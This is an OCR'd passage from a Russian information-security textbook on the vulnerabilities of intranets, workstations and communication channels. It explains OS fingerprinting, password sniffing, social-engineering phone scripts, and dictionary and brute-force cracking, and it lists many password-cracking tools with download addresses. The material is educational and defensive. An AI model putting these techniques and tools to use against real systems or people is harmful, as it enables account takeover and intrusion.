	незаконный доступ к аудиторским журналам, позволяющий скрыть следы возможных НСД;
	проникновение в центральную систему через сеть с целью изменения программ, уничтожения или незаконного внесения некоторой информации.
Перечисленные угрозы в разной степени подвергают опасности доступность, секретность и целостность информации.
Атаки на ЭЦП бывают четырех видов.
1.	Атаки на криптоалгоритмы, связанные с возможными ошибками, допущенными людьми-при их разработке.
2.	Атаки на криптосистему, под которой обычно понимается не только используемый алгоритм выработки и проверки ЭЦП, но также механизм генерации и распределения ключей и ряд других важных элементов, влияющих на надежность криптосистемы (возможны атаки на механизм генерации ключей — будут успешны, если датчик случайных чисел, реализованный в криптосистеме для генерации ключей, недостаточно надежен; другие примеры: похищение или восстановление секретного ключа и т. п.).
3.	Атаки на реализацию (атаки на ПО, реализующее криптоалгоритм; атаки для получения секретного ключа, который может просто храниться на жестком диске; атаки, осуществляемые из-за отсутствия контроля целостности программы генерации или проверки ЭЦП, что позволяет злоумышленнику подделать подпись или результаты ее проверки, и т. п.).
4.	Атаки на пользователей (типичные примеры социальной инженерии с целью узнать пароль, получить ключевую дискету и т. п.).
Для защиты СЭД используются традиционные средства:
	идентификация, аутентификация и авторизация объектов и субъектов (так, к вопросам авторизации в СЭД относятся механизмы разграничения доступа к данным и функциям системы - это, например, наличие возможности у руководителя отдела просматривать все документы, над которыми работают сотрудники отдела,
186
Информационная безопасность открытых систем
в то время как каждый сотрудник видит лишь свою часть работы и не видит документы, над которыми работают другие; каждый из документов может иметь установленные для него права доступа на чтение, изменение, удаление; полезно выделять группы пользователей и делегировать права их доступа к документам);
	управление доступом (позволяет определять для каждого документа и для каждой ПП правомочных пользователей и их права);
	МЭ;
	средства контроля импортируемых программ;
	криптография;
" ЭЦП.
Рассмотрим эти средства применительно к защите от разных угроз.
Защита ЭДО от угроз конфиденциальности осуществляется при помощи стеганографии и криптографии (ей посвящена гл. 7). Стеганография занимается проблемой сокрытия от злоумышленника самого факта передачи сообщения. Чаще всего это достигается за счет введения в сообщение дополнительных битов, не портящих качества изображения. Выявить спрятанное таким образом сообщение малого объема в большом объеме информации, не зная метода сокрытия и не имея "чистого" варианта файла, довольно сложно. Общий недостаток стеганографических методов защиты информации — проблема сохранения в тайне самого метода сокрытия.
Криптография имеет целью сокрытие текста сообщения, делая его нечитаемым для нежелательных глаз. При этом допускается, что злоумышленник знает не только сам факт передачи сообщения, но и само сообщение, возможно, его приблизительный или даже точный текст. Допускается знание противником метода шифрования. В тайне от злоумышленника должен оставаться только секретный параметр шифрования - ключ.
Для СЭД чаще всего применяется два подхода.
1. Абонентское шифрование конфиденциальной информации - шифрование передаваемых между абонентами интранета электронных документов. Используется схема абонентского шифрования с закрытым распределением ключей шифрования между абонентами, на базе полной матрицы ключей (каждой паре абонентов системы соответствует свой секретный ключ для передачи шифрованных документов между ними). Достоинство этого метода в том, что алгоритм шифрования обеспечивает доступ к передаваемой информации только тем лицам, которым данная информация предназначена.
2. Комплексная защита конфиденциальности передаваемых между абонентами интранета электронных документов с одновременным сжатием (архивированием) документов, обеспечением их целостности и аутентификации автора с помощью ЭЦП. Обработка документов производится непосредственно перед передачей или после приема их обычными средствами электронной почты.
Защита целостности ЭДО делится на подзадачи защиты от несанкционированного изменения, подлога и пропажи. Решение первых двух проблем осущесвляется применением ЭЦП, основанной на криптографии с открытым ключом. Решение проблемы пропажи документа лежит вне криптографии - здесь требуется создание резервных копий с носителей информации, их дублирование и строгий учет документов. При передаче документа по каналам связи нужны защищенные протоколы передачи данных (типа SSL, TLS или других - о них речь пойдет во второй части
3. Уязвимость открытых систем на примере интранета
187
учебника), предоставляющие возможности получения подтверждения о доставке, осуществляющие передачу данных разными маршрутами, и т. п.
Защита ЭДО от угроз доступности, или от атак типа "отказ в обслуживании", реализуется на уровне ОС, программного и аппаратного обеспечения установкой со-отвествующих "заплат". Угроза заключается в отказе легальному (санкционированному) пользователю получить доступ к информации со стороны системы. Способов создать ситуацию отказа в обслуживании, как будет описано далее, много, начиная от примитивных многократных попыток входа в систему от имени пользователя до блокировки его учетной записи и заканчивая применением хакерских атак на сервер типа "затопление" повторяющимися пакетами.
Подчеркнем, что зашита СЭД достигается не отдельными решениями, а системой хорошо продуманных мер, включая комплекс административных процедур. Возможны создание системы защиты СЭД как единого целого или разработка подсистем безопасности для отдельных информационных комплексов СЭД. Независимо от этого СЭД должны иметь решения по обеспечению ИБ в таких важных областях применения, как, например, планирование восстановления после НСД, распределенное хранение данных, управление устройствами и хранилищами данных, резервное копирование и архивирование и многое другое.
3.3.4.	УЯЗВИМОСТЬ РАБОЧИХ СТАНЦИЙ
Определим наиболее распространенную конфигурацию рабочей станции: аппаратная платформа на базе процессоров семейства Intel Pentium или совместимых с ними, ОС Win9x/2002/XP/NT, FreeBSD, Linux и т. д. Пользователем является, как правило, человек, применяющий компьютер для решения прикладных задач, знакомый с вопросами ИБ в общих чертах или незнакомый с ними вообще. Причины уязвимости рабочей станции чаще всего становятся:
	неумелое обращение пользователя со средствами вычислительной техники;
	программные или аппаратные сбои в работе рабочей станции;
	ошибки в реализации ОС и прикладного ПО;
	НСД к вычислительным средствам рабочей станции.
Рассмотрим, какие проблемы с рабочими станциями с точки зрения безопасности наиболее вероятны.
1.	Перехват и анализ сетевого потока (трафика), идущего от и к рабочей станции. Для осуществления подслушивания злоумышленнику нужно иметь доступ к компьютеру, расположенному на пути сетевого потока, который необходимо анализировать, например к маршрутизатору или PPP-серверу на базе Unix. Возможен другой вариант - злоумышленник получает доступ к машине, которая расположена в одном сегменте сети с атакуемой рабочей станцией. Например, в сети Ethernet* сетевая карта может быть переведена в режим, в котором она будет получать все пакеты, циркулирующие по сети, а не только адресованные ей конкретно. В данном случае атакующему не требуется доступ к Unix — достаточно иметь компьютер с Windows.
В результате анализа сетевого трафика можно извлечь много сведений об атакуемой станции. Это могут быть пароли, передаваемые по Telnet-сессии. Также зло
* Ethernet — это физическая среда передачи информации в сети, реализующая множественный доступ к ней.
188
Информационная безопасность открытых систем
умышленник может получить информацию об используемой ОС, что традиционно осуществлялась при помощи активных программ, таких, как queso и птар. Эти программы основываются на принципе, в соответствии с которым устройство 1Р-стека каждой ОС обладает своими внутренними особенностями. Например, каждая ОС отвечает по-своему на некорректно сформированные пакеты. Все, что нужно сделать, -это создать БД, описывающую, как разные ОС отвечают на различные пакеты. Чтобы определить, какая ОС стоит на удаленном компьютере, нужно сформировать несколько некорректных пакетов, послать их, проследить реакцию на них и сравнить ответы с БД. Пассивная идентификация основывается на тех же посылках, но осуществляется по-другому. Она использует перехват пакетов, полученных от удаленной системы. Вместо того чтобы "активно" запрашивать удаленный компьютер, нужно только перехватить посланные пакеты. В соответствии с содержимым этих пакетов можно установить, какая ОС стоит на удаленном хосте. Так же, как и активная идентификация, пассивные методы основываются на том, что IP-стеки разных ОС устроены по-разному. Проанализировав перехваченный сетевой поток и определив природу этих различий, можно определить ОС удаленного хоста.
Вот ряд параметров, которые помогают на основе опроса стека TCP/IP выявить ОС:
	TTL - разные ОС ставят разное "время жизни" (Time То Live) на исходящих пакетах;
	размер окна - поле Window в заголовках принятых от хоста TCP-пакетов (значение этого поля является своеобразной константой, характеризующей ОС; так, ОС AIX - единственная ОС, имеющая значение Window=0x3F25; для Windows 2000, OpenBSD и FreeBSD имеют Window=0x402E);
	DF - устанавлен ли ОС бит "Don't Fragment" (многие ОС в определенных ситуациях не используют фрагментацию пакетов и поэтому устанавливают флаг DF в IP-заголовке отправляемой (нефрагментированной) дейтаграммы; это повышает производительность ОС при работе в сети в связи с уменьшением времени обработки передаваемых пакетов; можно установить определенную зависимость наличия-отсутствия данного признака в конкретной ситуации от типа ОС);
	TOS - устанавливает ли ОС тип сервиса "Type of Service", и если да, то в какое значение (подавляющее большинство ОС устанавливают поле TOS=0; однако старые версии Linux ставят TOS=OxCO).
Параметры TCP (TCP options), определенные в RFC 793 и RFC 1323 [www.ieft.org/rfc/] нашли отражение только в самых последних реализациях стеков; отправляя пакет с набором различных параметров, таких, как no operation, maximum segment size, window scale factor, timestamp и т. д., можно сделать вывод о типе и версии ОС; например, опция Selective Acknowledgement SackOK часто используется Windows и Linux, но, как правило, не применяется в FreeBSD или в Solaris;
Передача пакетов FIN (FIN probe) - пакет FIN отсылается в открытый порт; согласно RFC 793 исследуемая система не должна отвечать на такое сообщение; однако многие реализации стека (например, Windows NT) отвечают на них, отправляя пакет FIN/ACK.
Данные, полученные только об одном из этих элементов, не могут служить 100 %-ным показателем для определения ОС. Однако при сопоставлении нескольких
3. Уязвимость открытых систем на примере интранета
189
показателей и сравнении информации увеличивается вероятность правильного определения ОС удаленного хоста.
Возможности анализа не ограничиваются названными параметрами. Можно, например, проанализировать номера начальных последовательностей ISN, особенности ICMP (такие, как формат и скорость генерации ICMP-сообщений и т. п.), обработку фрагментов (fragmentation handling), возможности борьбы с атаками типа наводнения SYN-пакетами и т. д. Например, запросы ICMP Microsoft состоят из букв, в то время как Solaris и Linux в ICMP-запросах используют цифры и символы.
Многие из средств выявления сканирования могут служить для обнаружения попыток определить тип ОС. Предупредить такие попытки, к сожалению, весьма непросто. Конечно, можно немного изменить исходный код ОС (если он имеется в распоряжении) или поменять ее параметры, влияющие на характеристики стека. Но такое вмешательство может значительно изменить функциональность ОС. Например, в системе FreeBSD 4.x имеется параметр ядра TCP DROP SYNFIN, который можно применить для игнорирования пакетов SYN+FIN, используемых утилитой nmap в целях исследования стека. Установка этого параметра поможет пресечь попытки определения типа ОС, однако в то же время нарушит поддержку RFC 1644 (TCP Extentions of Transactions). Вместо этого можно создавать такие сети, в которых сканированию могли бы подвергнуться лишь надежные и хорошо защищенные ргоху-серверы и МЭ, а не компьютеры внутренней сети. Тогда, даже если взломщику и удастся узнать ОС этого узла, проникновение через него будет затруднено.
2.	Ряд проблем, связанных с электронной почтой'.
	перехват незашифрованных сообщений;
	спэм - бесполезная, незапрашиваемая почта, обычно рекламного характера (есть, например, простая программа Spam Hater for Windows, которая защитит рабочую станцию от подобных проблем);
	дерфинг — использование чужого электронного адреса без разрешения его владельца;
	странные сообщения и "зазывание" на компьютер злоумышленника (многие дальнейшие сценарии развития атак требуют, чтобы жертва попала туда).
3.	Сетевые компьютерные вирусы, которые могут попасть на рабочую станцию следующим образом:
	в теле электронного сообщения;
	в прикрепленных файлах;
	из файлов, распространяемых и скачиваемых владельцами станций через FTP.
4.	Воровство информации, хранимой на рабочей станции. Существует множество программ, которые в зависимости от ОС жертвы и его браузера позволяют оператору удаленного веб-узла получать доступ к любому тексту, изображению или файлу HTML, расположенных на рабочей станции. Известна атака "Freiburg attack", использующая JavaScript для создания невидимой рамки (frame) размером 1x1 пиксел с враждебным кодом внутри. Пока пользователь просматривал документ, программа, выполняемая в невидимом окне, сканировала диски на станции пользователя и искала файлы с распространенными именами, которые затем передавала на любой компьютер в Интернете. В качестве развлекательной, свободно распространяемой программы на домашней рабочей станции можно установить NetWatcherPro, которая включает сирену каждый раз, когда кто-то пытается просканировать диски компью
190
Информационная безопасность открытых систем
тера. При этом показывается IP-адрес атакующего и те файлы и папки, которые визитер просматривает.
5.	Повреждение или удаление файлов (с помощью "закладок", злонамеренных программ и т. п.). Примером может являться подмена информации на локальной вебстранице, хранимой на рабочей станции.
6.	Вывод из строя станции полностью или частично, например, за счет переполнения буфера или атак типа Winnuke, Ping of Death и т. п. Такие атаки осуществляются чаще всего после сканирования и определения ОС.
7.	Установление программ для удаленного управления рабочей станцией. Для этого от ее пользователя требуется совершить какие-то действия, которые начнут ее выполнение.
8.	Запуск любой команды или программы, полученной из Интернета, может вызвать самые негативные последствия в работе рабочей станции. Поэтому лучше всего избегать использования внешних программ просмотра любых документов, которые могут содержать выполняемые команды (Java, Active X или подобные - тогда возможен захват системных ресурсов, модификация информации или что-то подобное; или JavaScript, который делает возможной функцию "загрузка файла" - в теории это действие безопасно, так как требует заполнения пользователем полей "имя файла" и нажатия кнопки submit; однако JavaScript может автоматизировать эту деятельность, и, как следствие, нарушитель может выложить веб-страницу с указанным скриптом на свой узел, и, как только осуществляется переход пользователя на эту страницу, происходит загрузка указанных в скрипте файлов).
9.	Сбор информации о пользователях и наблюдение за их действиями в интранете и Интернете. Эта цель может быть достигнута изучением заполненных на каких-то открытых веб-узлах анкетах, если содержимое анкет не шифруется. Тогда злоумышленнику доступны почтовый адрес, телефон, фирма, электронный адрес и многое другое. Предоставление любых указанных данных потенциально опасно. Второй способ - автоматизированный сбор информации, например с помощью JavaScript, о том, какие страницы посещает пользователь, что его интересует. Или еще одна интересная возможность - изучение cookie-файлов браузера. Известно, что каждое обращение к веб-серверу оставляет некоторую информацию: IP-адрес PC, тип браузера, ОС, адрес просматриваемой страницы и адрес той страницы, которую просматривали перед обращением к ней. К этой информации иногда добавляется имя пользователя (если оно известно), адрес (Uniform Resource Locators, URL - универсальные локаторы ресурсов) запроса, e-mail. Если сервер поддерживается корректно, то информация используется только для получения статистики и в целях отладки. Но файлы трассировки могут быть доступны местным пользователям или употребляться специальными программами для составления списков рассылки.
Содержимое запросов пользователей рабочих станций, для передачи которых применялся метод GET, попадает в файлы трассировки, поскольку в этом случае данные для запроса входят в состав адреса документа. Данные запроса не записываются в случае, если для его передачи применяется метод POST (что обычно происходит при заполнении форм ввода). Если пользователь не хочет, чтобы ключевые слова, которые он использовал при поиске, попали в какие-нибудь доступные списки, то лучше применять POST. Простейший метод состоит в использовании фиктивных ключевых слов при первом запросе. Если введенные слова появляются в URL полу-
3. Уязвимость открытых систем на примере интранета
191
ценного ответа, то они могут появляться и в каком-нибудь файле трассировки на удаленном сервере.
10.	Применение внешних программ просмотра для любых документов, которые могут содержать выполняемые команды. Использование любой командной оболочки ОС, процессора макрокоманд или интерпретатора командного языка в качестве программ просмотра для документов открывает станцию для нападения через WWW. Кажется естественным определить тип "application/x-msexel-macro" для получения автоматически перерассчитываемых таблиц, однако некоторые функции языка, используемого в макрокомандах программы Exel, применялись для повреждения других таблиц и файлов. То же можно сказать о таких, казалось бы, безобидных вещах, как файлы описания стиля (style sheets) и шаблоны документов (template) для текстовых процессоров. Многие из текстовых процессоров имеют встроенные возможности обработки макрокоманд (например, "prank macro" для Microsoft Word - макрокоманда, обладающая способностью, подобно вирусу, переходить из документа в документ).
11.	Проблемы веб-браузеров. Веб-браузеры компаний Microsoft и Netscape имеют уязвимости. К таким атакам можно отнести URL-, HTTP-, HTML-, фрейм-, JavaScript-, Java- и ActiveX-атаки (некоторые из них уже рассмотрены, часть будет описана далее). То, что записывается вместо URL в адресной строке, может вызвать переполнение буфера в процессе обработки в заголовке HTTP или выполнении в некоторой форме. Старые версии Internet Explorer содержали ошибку, позволяющую выполнять файлы с расширениями .LNK или .URL. HTTP-заголовки могут использоваться для реализации атак путем передачи некоторой информации полям, которые не предназначены для приема этой информации. HTML-теги часто могут быть использованы для атаки (например, MIME-переполнение в теге <EMBED> Netscape Communicator).
Отдельно следует рассматривать так называемые атаки на пользователя, или социальную инженерию. В этом случае злоумышленник провоцирует пользователя на какие-либо действия, ведущие к нарушению ИБ. В качестве примера можно привести кражу паролей доступа в Интернет. Пользователи получают письмо от "сервисного центра", в котором их просят отослать по электронной почте пароли и логины для доступа в Интернет с целью проведения учета пользователей или под другим благовидным предлогом. Следует заметить, что число людей, ставших жертвами подобного обмана, достаточно велико и единственным эффективным способом предупреждения таких инцидентов является оповещение пользователей Интернет-провайдерами или администраторами вычислительных сетей.
Это далеко не полный список всех проблем, связанных с атаками на рабочие станции. Его без труда можно дополнить, прочитав оставшуюся часть данной главы.
3.3.5.	Уязвимость каналов связи
На уровне сети (т. е. ее каналов связи) чаще всего реализуются следующие атаки:
1.	Перехват всего сетевого потока, идущего по каналу связи, или его прослушивание.
2.	Перехват пакетов на маршрутизаторе. Сетевое ПО маршрутизатора имеет доступ ко всем сетевым пакетам, передаваемым через данный маршрутизатор, что позволяет осуществлять перехват пакетов. Для реализации этой атаки злоумышлен-
192
Информационная безопасность открытых систем
ник должен иметь привилегированный доступ хотя бы к одному маршрутизатору сети. Наиболее эффективен перехват пакетов, содержащих пароли пользователей, а также электронной почты.
3.	Создание ложного маршрутизатора. Злоумышленник отправляет в сеть пакеты определенного вида, в результате чего его компьютер начинает получать пакеты от всех узлов, играя роль маршрутизатора, и получает возможность осуществлять предыдущую угрозу.
4.	Навязывание пакетов с ложным обратным адресом. С помощью этой атаки злоумышленник может переключать на свой компьютер соединения, установленные между другими компьютерами. При этом права его доступа становятся равными правам того пользователя, чье соединение с сервером было переключено.
5.	Атаки класса "отказ в обслуживании".
Перехват паролей
Это довольно-таки распространенные атаки, поскольку пароли являются основным средством аутентификации субъектов и объектов сетевых взаимодействий. В Unix-системах среди самых популярных служб, которые чаще всего подвергаются подобным атакам, можно выделить следующие: Telnet; FTP; r-команды (rlogin, rsh и т. д.); Secure Shell (ssh); имена доступа SNMP; POP; HTTP/HTTPS. С этой целью могут использоваться такие средства, как finger, users и sendmail. Получив список пользовательских учетных записей, взломщик может попытаться получить доступ к интересующей его системе путем подбора пароля к одной из этих учетных записей.
1.	Перехват открытого текста. Многие протоколы (Telnet,-FTP, HTTP) используют незашифрованные пароли при передаче информации по сети между клиентом и сервером. Нарушитель с помощью анализатора протоколов (программы-сниффера, о которой подробнее рассказано в п. 4.1.1) может "слушать" сеть в поисках таких паролей. Никаких дальнейших усилий не требуется; нарушитель может начать немедленно использовать эти пароли для регистрации при входе в сеть. Это достаточно эффективный способ быстрого получения большого числа имен и паролей пользователей внутренних сетевых хостов.
Поскольку сниффер должен работать в том же Ethemet-сегменте интранета, в котором работает и хост, к которому нужно получить доступ, будет неэффективно запускать его на внешнем хосте, используемом атакующим в качестве моста [38]. Для прослушивания данных, передаваемых по внутренней сети, нарушить должен реализовать удаленный взлом от имен root внутреннего хоста, находящегося в том же сегменте, в котором находятся и другие внутренние хосты. После взлома, установки лазеек и "троянских" программ ps и netstat атакующий должен установить на хосте сниффер. Обычно такие программы располагаются в директориях /usr/bin или /dev под Solaris, а затем модифицируются таким образом, чтобы казалось, что они установлены вместе со всеми другими системными утилитами.
Большинство снифферов работает в фоновом режиме и переводит сетевой интерфейс в режим promiscuous mode. Тогда осуществляется прослушивание и передача снифферу всех лог-файлов, всех имен пользователей, их паролей и иных данных, которые могут быть употреблены для получения доступа к другим сетевым хостам -неважно, передаются ли они от хоста или к хосту, на которых установлен сниффер. Атакующий чаще всего возвращается в сеть через неделю и читает лог-файлы, созданные сниффером.
3. Уязвимость открытых систем на примере интранета
193
2.	Перехват зашифрованного текста. Ряд протоколов, однако, использует некоторое шифрование паролей. В этих случаях нарушителю потребуется провести атаку по словарю или подбор пароля для того, чтобы попытаться его расшифровать.
Например, в системе Unix пароль и другая специфическая информация о пользователе хранится в каталоге /etc в файле, который по умолчанию доступен всем пользователям системы. Непосредственно пароли хранятся в зашифрованном виде, и для их расшифровки может потребоваться неопределенное количество часов вычислительной работы. Зная это, многие злоумышленники используют компьютерную программу, которая подбирает пароли при помощи методики, названной "зашифровать и сравнить". Суть метода заключается в шифровании различных слов при помощи того же самого алгоритма, которым шифруются действительные пароли, а затем в сравнении двух зашифрованных строк. Если обнаружится их соответствие, то необходимый пароль найден.
В классическом Unix информация о пользователях хранится в файле Zetc/passwd. Этот файл содержит для каждого пользователя системы семь полей, разделенные знаком . Пример записи на одного пользователя из /etc/passwd:
will:5fg63fhD3d5g:9406:12:Will Spencer:/home/fsg/will:/bin/bash.
В каждую запись входят:
	имя пользователя (login): will;
	зашифрованный пароль: 5fg63fhD3d5g;
	номер пользователя: 9406;
	номер группы: 12;
	информация о пользователе: Will Spencer;
	домашняя директория: /home/fsg/will;
	оболочка (Shell): 7bin/bash.
Программа шифрования и сравнения в данном случае шифровала бы различные слова, обычно взятые из словаря, и искала бы соответствие. Затраты времени на сравнение всего словаря с файлом пароля у таких программ удивительно невелики. Даже на ПК с процессором 486 некоторые программы показывали результат в несколько тысяч шифрований в секунду, а на современных мощных рабочих станциях эти показатели еще выше.
Теперь для усовершенствования защиты паролей во многих ОС, например в тех же Unix или Windows, вместо просто зашифрованного пароля хранится его хеш-значение, что более безопасно. По этому значению определить исходный пароль значительно сложнее, поскольку сначала нужно сгенерировать все допустимые пароли и их хеши, а затем сравнить каждое полученное хешированное значение с теми значениями, которые хранятся в файле паролей "жертвы" (это атака по словарю с предкомпиляцией). Кроме того, в современных Unix хешированные пароли не хранятся в доступном всем /etc/passwd, а хранятся в файле, доступном только администратору: /etc/master.passwd или /etc/shadow. Иногда для зашиты могут использоваться случайные данные ("соль"), дописываемые к паролю.
Заметим, что узнать о присутствии нарушителя сложно, поскольку он является полностью пассивным и ничего не передает по сети. Взлом пароля не требует того, чтобы передавать что-нибудь в сеть, тогда как собственный компьютер нарушителя используется для определения перехваченного пароля.
7—2368
194
Информационная безопасность открытых систем
3.	Повторное использование пароля. В некоторых случаях нарушителям нет необходимости расшифровывать пароль. Они могут повторно передать зашифрованный пароль, перехваченный ранее в процессе аутентификации.
4.	Кража файла с паролями. Вся БД пользователей обычно хранится в файле на диске. В ОС Unix этими файлами являются /etc/passwd и /etc/shadow. В ОС Windows NT — это SAM-файл. В любом случае, как только нарушитель получает этот файл, он запускает программы взлома для нахождения слабых паролей внутри данного файла.
Отметим важный факт. Пароль может подбираться непосредственно на ПК пользователя, или файл с паролями может переноситься на ПК злоумышленника для применения программы-подборщика паролей там.
5.	Наблюдение. Одна из традиционных проблем при защите паролей заключается в том, что пароли должны быть длинными и трудными для расшифровки. Но такие пароли трудно запоминать, поэтому пользователи записывают их где-нибудь. Нарушители часто обыскивают рабочее место пользователя и находят пароли, записанные на небольших клочках бумаги (обычно под клавиатурой). Нарушители могут также подглядывать пароли, стоя за спиной пользователя.
6.	Социальная инженерия (social engineering), или злоупотребление доверием пользователей, - один из наиболее эффективных методов получать информацию у ничего не подозревающих пользователей больших корпораций, где многие пользователи даже не знают персонал своих компьютерных подразделений в лицо, общаясь в основном по телефону. Это профессионально выполняемая имитация системных администраторов, персонала телефонных компаний. Просто перебирая произвольные отделы компании, злоумышленник - подставное лицо - может получить всю необходимую информацию, чтобы войти в ее компьютерную сеть. Возможна следующая ситуация: в офисе раздается звонок. Звонящий называется агентом фирмы, предоставляющей Интернет-услуги этому офису, и говорит, что возникла проблема с доступом в Интернет. Он предлагает назначить новый пароль "из соображений безопасности", но для проверки нужен старый. Многие люди просто предоставляют такую информацию, даже не выяснив детали у своего собеседника. Прежде чем что-либо говорить, надо удостовериться в полномочиях собеседника и попытаться узнать побольше информации, например, его имя и номер телефона, где можно его найти. Хотя нет никакой гарантии, что он не назовет произвольный номер.
Также стал хрестоматийным пример об опросе сотрудников одной из крупных корпораций, который проводился на автомобильной стоянке корпорации и заключался в выяснении соображений, которыми пользуются люди при выборе своего пароля. Опрос был организован злоумышленниками, и, как потом показала практика, больше половины опрошенных в той или иной форме сразу назвали свой пароль.
Наиболее распространенный (и удивительно успешный) метод - просто позвонить пользователю и сказать: "Привет, это Макс из отдела автоматизации. Мы пытаемся решить некоторые проблемы, возникшие в нашей сети. Кажется, они исходят от твоего компьютера. Какой пароль ты используешь?" Многие пользователи в такой ситуации называют свой пароль.
Во многих корпорациях существует политика, которая предписывает пользователям никогда не выдавать свой пароль, даже своим собственным подразделениям автоматизации. Но запрет часто нарушается и старый метод атаки по-прежнему является успешным.
3. Уязвимость открытых систем на примере интранета
195
Сами пароли становятся известны атакующему по следующим причинам:
1.	Действительно слабые пароли. Большинство людей использует в качестве паролей свои имена, имена своих детей, членов семьи, модели машины или клички питомцев. Также есть пользователи, которые выбрали в качестве пароля слово "пароль" или "password”. Есть и те, кто вообще не вводит пароль. В целом существует перечень из не менее чем 30 возможностей, которые может использовать нарушитель для подбора паролей.
2.	Атака по словарю (dictionary attack). Потерпев неудачу в случае вышеуказанной атаки, нарушитель попытается использовать "атаку по словарю". В этом случае нарушитель использует программу, которая будет опробовать в качестве пароля каждое возможное слово, приведенное в словаре. Атаки по словарю могут осуществляться либо путем неоднократных регистраций в атакуемой системе, либо путем сбора шифрованных паролей и попыток найти им незашифрованную пару. Для этих целей нарушители, как правило, имеют копии русского и английского словарей, а также словарей других иностранных языков. Все они используют дополнительные словари, как с именами, так и со списками наиболее распространенных и часто применяемых паролей.
Один из лучших словарей для подбора паролей, составленный злоумышленниками, можно найти, например, по адресу http://sdg.ncsa.uiuc.edu/~mag/ Misc/Word-lists.html.
3.	Подбор пароля методом "грубой силы" (brute force). Атакующий старается использовать все возможные комбинации символов определенной длины (скорее всего злоумышленник присутствовал при наборе пользователем его пароля и подсчитал количество появившихся символов "*"). Короткий пароль, состоящий из четырех букв в нижнем регистре, может быть взломан за секунды (приблизительно полмиллиона возможных комбинаций). Длинный семизначный пароль, состоящий из символов в нижнем и верхнем регистре, а также чисел и знаков препинания, требует перебора 10 трлн, комбинаций.
Поскольку подбор правильного имени пользователя и комбинации паролей требует больших затрат времени, злоумышленники пишут специальные программы, чтобы автоматизировать этот процесс.
Некоторые из этих программ, пытаясь получить доступ к системе, просто используют список общеупотребительных паролей с известным или установленным по умолчанию именем пользователя. В зависимости от типа ОС нападающий в первую очередь может опробовать существующие системные установки паролей по умолчанию. Если после установки системы эти значения не менялись, то система с большей долей вероятности окажется взломанной.
Другие программы используют комбинацию сетевых утилит Unix типа finger (программы вывода информации о некотором пользователе), чтобы выяснить имена пользователей данной системы, и затем пробуют в качестве паролей различные перестановки символов, встречающихся в этих именах. Запуск этой команды осуществляется, например, так:
finger username ©hostname.
Тогда, получив при помощи finger подобную информацию:
Unixhost {1} finger jsmith
Login: jsmith Name: John Smith
196
Информационная безопасность открытых систем
Directory: /home/users/jsmith Shell: /Ып/csh Last login Sun Aug 2813:05 (CTD) on ttyaO можно попробовать в качестве пароля указать следующие слова: Jsmith, Smithj, Johns, smith, Htimsj, JOHN, JOHNS, SMITH и т. д.
Видно, что информация по выполнению команды finger указывает также на его личную директорию, предпочитаемую командную программу, привычки работы пользователя и, кроме того, возможность связи с ним по электронной почте. Finger также позволяет выделить тех пользователей, чьи ПК вообще не имеют пароля.
Многие программы подбора также требуют добавлять к подобным перестановкам цифры или заменять ими некоторые буквы, например "I" на "1", "Е" менять на "3", или "о" менять на "О".
Аналогами утилиты finger для Windows-платформ являются клиент Finger32 [http://wwl.partner.europe.digital.com/www-catalog/bin/textcat/www-swdev/pages/ Home/TECH/software/WNT-roadmap/finger.htm] и WSFinger; для OS/2 - FFEU [http://www.musthave.com].
Также разработано и средство обнаружения удаленного запуска finger с ПК злоумышленника. Оно определяет имя хоста hostname и идентификатора запустившего и создает файл finger log. Это утилита MasterPlan.
Продолжая рассмотрение Windows-платформ, отметим, что в ранних ОС Windows 95/98 на каждого пользователя создавался PWL-файл с зашифрованным паролем. Алгоритм шифрования пароля допускал его прямое дешифрование. Также в этой ОС доступ любого пользователя был открыт к любому файлу системы. Среди программ взлома PWL наиболее известна была GLIDE [http://freespace.virgin.net/j.wiles/ hack.html]. Для Windows 98 для расшифровки паролей из PWL-файлов можно использовать программу repwl.exe [http://web-don.com/vitas/pwltool.htm], которая почти мгновенно может вычислить любой пароль. Кроме того, что пароль пользователя хранится в указанном выше файле, его копия записывается и в кеш компьютера. Злоумышленниками была написана соответствующая программа pwlview, которая выбирала пароли из кеша. Существовала и еще одна возможность — простое уничтожение файла PWL для отдельного пользователя; тогда вход в систему можно было проводить без ввода пароля.
Выявлено множество атак и на пароли в более современных Windows NT/2000. Это атаки на FTP, POP3, SMTP, SNMP и другие протоколы с незашифрованными паролями; атаки на пароли NT с помощью LOPHTcrack и атаки на логины SMB (Server Message Block).
В Windows NT/2000/XP возможны следующие виды взломов паролей:
1.	Взлом паролей базы данных учетных записей SAM, например с помощью программы SAMInside [http://www.insidepro.com]; она позволяет получать информацию о пользователях из SAM-файлов Windows, подбирать пароли пользователей из SAM-файлов, в том числе и зашифрованных системным ключом Syskey, и делать многое другое.
2.	Взлом паролей архивов, создаваемых популярными архиваторами ARJ, ZIP, RAR (достаточно воспользоваться программами Advanced ARJ Password Recovery, Advanced ZIP Password Recovery, Advanced RAR Password Recovery).
3.	При использовании утилиты Advanced Office XP Password Recovery возможно восстановление паролей всех документов. Несмотря на то, что MS Word, шифруя до-
3. Уязвимость открытых систем на примере интранета 197 кумент, использует довольно сложный алгоритм (пароль не сохраняется внутри файла), он может быть вскрыт с использованием метода "грубой силы" илй атаки по словарю (средняя скорость при использовании процессора Pentium II составляет 80-100 тыс. паролей в секунду).
4. Взлом, паролей учетных записей электронной почты. Поскольку наиболее популярными клиентами почты являются The Bat! и Microsoft Outlook Express, то именно для учетных записей этих клиентов существуют программы взлома паролей типа The Bat! Password Viewer, DeBat и Outlook Password Viewer.exe.
Перечислим еШе некоторые программы для взлома паролей [50].
Unix-пароли: John the Ripper, Crackerjack, Jill, Pace Crack, Q Crack, Jack Assistant, Dictionary Maker; TeeNet [http://www.phenoelit.de/tn/]; brute web.c [http://packet-stormsecurify.org/Exploit Code Archive/bruteweb.c]; pop.c [http://pacKetstorm.securi-fy.com/groups/ADM/ADM-pop.c]; pwscan.pl в составе пакета VLAD Scanner [http://razor.bindview.corn/tools/vlad/index.shtml].
Пароли в других ОС: Linux Password Cracker, Crack, Perl Crack, ZipCrack и FastZip (вскрытие файлов заархивированных паролей), Decrypt, NetCrack (Novell Netware), PGPCrack, EXCrack; Windows NT - Scan NT и Password NT; Brunts [http://www. hoobie.net/brutus/J; LOpthCrack и многие другие.
Имеются и программы типа CHKNULL, которые после запуска выдают список пользователей, у которых вообще нет паролей.
